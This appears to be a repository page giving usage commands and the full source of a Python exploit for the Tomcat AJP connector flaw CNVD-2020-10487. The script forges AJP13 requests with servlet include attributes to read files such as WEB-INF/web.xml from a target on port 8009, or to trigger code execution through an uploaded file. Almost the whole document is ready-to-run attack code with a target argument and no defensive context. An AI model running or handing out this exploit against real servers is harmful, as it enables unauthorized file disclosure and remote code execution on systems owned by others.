tomcat 8009 RCE

RCE:
python3 2020-10487.py  127.0.0.1 -f /2.jpg --rce 1
文件读取
python3 2020-10487.py  127.0.0.1 -f /2.jpg

2020-10487.py

@@ -0,0 +1,338 @@
+#!/usr/bin/env python
+# CNVD-2020-10487  Tomcat-Ajp lfi
+# by ydhcui
+import struct
+import io
+import base64
+
+
+# Some references:
+# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
+def pack_string(s):
+    if s is None:
+        return struct.pack(">h", -1)
+    l = len(s)
+    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
+
+
+def unpack(stream, fmt):
+    size = struct.calcsize(fmt)
+    buf = stream.read(size)
+    return struct.unpack(fmt, buf)
+
+
+def unpack_string(stream):
+    size, = unpack(stream, ">h")
+    if size == -1:  # null string
+        return None
+    res, = unpack(stream, "%ds" % size)
+    stream.read(1)  # \0
+    return res
+
+
+class NotFoundException(Exception):
+    pass
+
+
+class AjpBodyRequest(object):
+    # server == web server, container == servlet
+    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
+    MAX_REQUEST_LENGTH = 8186
+
+    def __init__(self, data_stream, data_len, data_direction=None):
+        self.data_stream = data_stream
+        self.data_len = data_len
+        self.data_direction = data_direction
+
+    def serialize(self):
+        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
+        if len(data) == 0:
+            return struct.pack(">bbH", 0x12, 0x34, 0x00)
+        else:
+            res = struct.pack(">H", len(data))
+            res += data
+        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
+            header = struct.pack(">bbH", 0x12, 0x34, len(res))
+        else:
+            header = struct.pack(">bbH", 0x41, 0x42, len(res))
+        return header + res
+
+    def send_and_receive(self, socket, stream):
+        while True:
+            data = self.serialize()
+            socket.send(data)
+            r = AjpResponse.receive(stream)
+            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
+                r = AjpResponse.receive(stream)
+
+            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
+                break
+
+
+class AjpForwardRequest(object):
+    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
+        28)
+    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
+                       'TRACE': TRACE}
+    # server == web server, container == servlet
+    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
+    COMMON_HEADERS = ["SC_REQ_ACCEPT",
+                      "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
+                      "SC_REQ_AUTHORIZATION",
+                      "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
+                      "SC_REQ_COOKIE2",
+                      "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
+                      ]
+    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
+                  "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
+
+    def __init__(self, data_direction=None):
+        self.prefix_code = 0x02
+        self.method = None
+        self.protocol = None
+        self.req_uri = None
+        self.remote_addr = None
+        self.remote_host = None
+        self.server_name = None
+        self.server_port = None
+        self.is_ssl = None
+        self.num_headers = None
+        self.request_headers = None
+        self.attributes = None
+        self.data_direction = data_direction
+
+    def pack_headers(self):
+        self.num_headers = len(self.request_headers)
+        res = ""
+        res = struct.pack(">h", self.num_headers)
+        for h_name in self.request_headers:
+            if h_name.startswith("SC_REQ"):
+                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
+                res += struct.pack("BB", 0xA0, code)
+            else:
+                res += pack_string(h_name)
+
+            res += pack_string(self.request_headers[h_name])
+        return res
+
+    def pack_attributes(self):
+        res = b""
+        for attr in self.attributes:
+            a_name = attr['name']
+            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
+            res += struct.pack("b", code)
+            if a_name == "req_attribute":
+                aa_name, a_value = attr['value']
+                res += pack_string(aa_name)
+                res += pack_string(a_value)
+            else:
+                res += pack_string(attr['value'])
+        res += struct.pack("B", 0xFF)
+        return res
+
+    def serialize(self):
+        res = ""
+        res = struct.pack("bb", self.prefix_code, self.method)
+        res += pack_string(self.protocol)
+        res += pack_string(self.req_uri)
+        res += pack_string(self.remote_addr)
+        res += pack_string(self.remote_host)
+        res += pack_string(self.server_name)
+        res += struct.pack(">h", self.server_port)
+        res += struct.pack("?", self.is_ssl)
+        res += self.pack_headers()
+        res += self.pack_attributes()
+        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
+            header = struct.pack(">bbh", 0x12, 0x34, len(res))
+        else:
+            header = struct.pack(">bbh", 0x41, 0x42, len(res))
+        return header + res
+
+    def parse(self, raw_packet):
+        stream = io.StringIO(raw_packet)
+        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
+        self.prefix_code, self.method = unpack(stream, "bb")
+        self.protocol = unpack_string(stream)
+        self.req_uri = unpack_string(stream)
+        self.remote_addr = unpack_string(stream)
+        self.remote_host = unpack_string(stream)
+        self.server_name = unpack_string(stream)
+        self.server_port = unpack(stream, ">h")
+        self.is_ssl = unpack(stream, "?")
+        self.num_headers, = unpack(stream, ">H")
+        self.request_headers = {}
+        for i in range(self.num_headers):
+            code, = unpack(stream, ">H")
+            if code > 0xA000:
+                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
+            else:
+                h_name = unpack(stream, "%ds" % code)
+                stream.read(1)  # \0
+            h_value = unpack_string(stream)
+            self.request_headers[h_name] = h_value
+
+    def send_and_receive(self, socket, stream, save_cookies=False):
+        res = []
+        i = socket.sendall(self.serialize())
+        if self.method == AjpForwardRequest.POST:
+            return res
+
+        r = AjpResponse.receive(stream)
+        assert r.prefix_code == AjpResponse.SEND_HEADERS
+        res.append(r)
+        if save_cookies and 'Set-Cookie' in r.response_headers:
+            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
+
+        # read body chunks and end response packets
+        while True:
+            r = AjpResponse.receive(stream)
+            res.append(r)
+            if r.prefix_code == AjpResponse.END_RESPONSE:
+                break
+            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
+                continue
+            else:
+                raise NotImplementedError
+                break
+
+        return res
+
+
+class AjpResponse(object):
+    _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
+    COMMON_SEND_HEADERS = [
+        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
+        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
+    ]
+
+    def parse(self, stream):
+        # read headers
+        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
+
+        if self.prefix_code == AjpResponse.SEND_HEADERS:
+            self.parse_send_headers(stream)
+        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
+            self.parse_send_body_chunk(stream)
+        elif self.prefix_code == AjpResponse.END_RESPONSE:
+            self.parse_end_response(stream)
+        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
+            self.parse_get_body_chunk(stream)
+        else:
+            raise NotImplementedError
+
+    def parse_send_headers(self, stream):
+        self.http_status_code, = unpack(stream, ">H")
+        self.http_status_msg = unpack_string(stream)
+        self.num_headers, = unpack(stream, ">H")
+        self.response_headers = {}
+        for i in range(self.num_headers):
+            code, = unpack(stream, ">H")
+            if code <= 0xA000:  # custom header
+                h_name, = unpack(stream, "%ds" % code)
+                stream.read(1)  # \0
+                h_value = unpack_string(stream)
+            else:
+                h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
+                h_value = unpack_string(stream)
+            self.response_headers[h_name] = h_value
+
+    def parse_send_body_chunk(self, stream):
+        self.data_length, = unpack(stream, ">H")
+        self.data = stream.read(self.data_length + 1)
+
+    def parse_end_response(self, stream):
+        self.reuse, = unpack(stream, "b")
+
+    def parse_get_body_chunk(self, stream):
+        rlen, = unpack(stream, ">H")
+        return rlen
+
+    @staticmethod
+    def receive(stream):
+        r = AjpResponse()
+        r.parse(stream)
+        return r
+
+
+import socket
+
+
+def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
+    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
+    fr.method = method
+    fr.protocol = "HTTP/1.1"
+    fr.req_uri = req_uri
+    fr.remote_addr = target_host
+    fr.remote_host = None
+    fr.server_name = target_host
+    fr.server_port = 80
+    fr.request_headers = {
+        'SC_REQ_ACCEPT': 'text/html',
+        'SC_REQ_CONNECTION': 'keep-alive',
+        'SC_REQ_CONTENT_LENGTH': '0',
+        'SC_REQ_HOST': target_host,
+        'SC_REQ_USER_AGENT': 'Mozilla',
+        'Accept-Encoding': 'gzip, deflate, sdch',
+        'Accept-Language': 'en-US,en;q=0.5',
+        'Upgrade-Insecure-Requests': '1',
+        'Cache-Control': 'max-age=0'
+    }
+    fr.is_ssl = False
+    fr.attributes = []
+    return fr
+
+
+class Tomcat(object):
+    def __init__(self, target_host, target_port):
+        self.target_host = target_host
+        self.target_port = target_port
+
+        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.socket.connect((target_host, target_port))
+        self.stream = self.socket.makefile("rb", buffering=0)
+
+    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
+        self.req_uri = req_uri
+        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
+                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
+        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
+        if user is not None and password is not None:
+            self.forward_request.request_headers[
+                'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}'
+        for h in headers:
+            self.forward_request.request_headers[h] = headers[h]
+        for a in attributes:
+            self.forward_request.attributes.append(a)
+        responses = self.forward_request.send_and_receive(self.socket, self.stream)
+        if len(responses) == 0:
+            return None, None
+        snd_hdrs_res = responses[0]
+        data_res = responses[1:-1]
+        if len(data_res) == 0:
+            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
+        return snd_hdrs_res, data_res
+
+
+'''
+javax.servlet.include.request_uri
+javax.servlet.include.path_info
+javax.servlet.include.servlet_path
+'''
+
+import argparse
+
+parser = argparse.ArgumentParser()
+parser.add_argument("target", type=str, help="Hostname or IP to attack")
+parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
+parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
+parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command")
+args = parser.parse_args()
+t = Tomcat(args.target, args.port)
+_, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[
+    {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
+    {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
+    {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
+])
+print('----------------------------')
+print(''.join([d.data.decode('utf_8') for d in data]))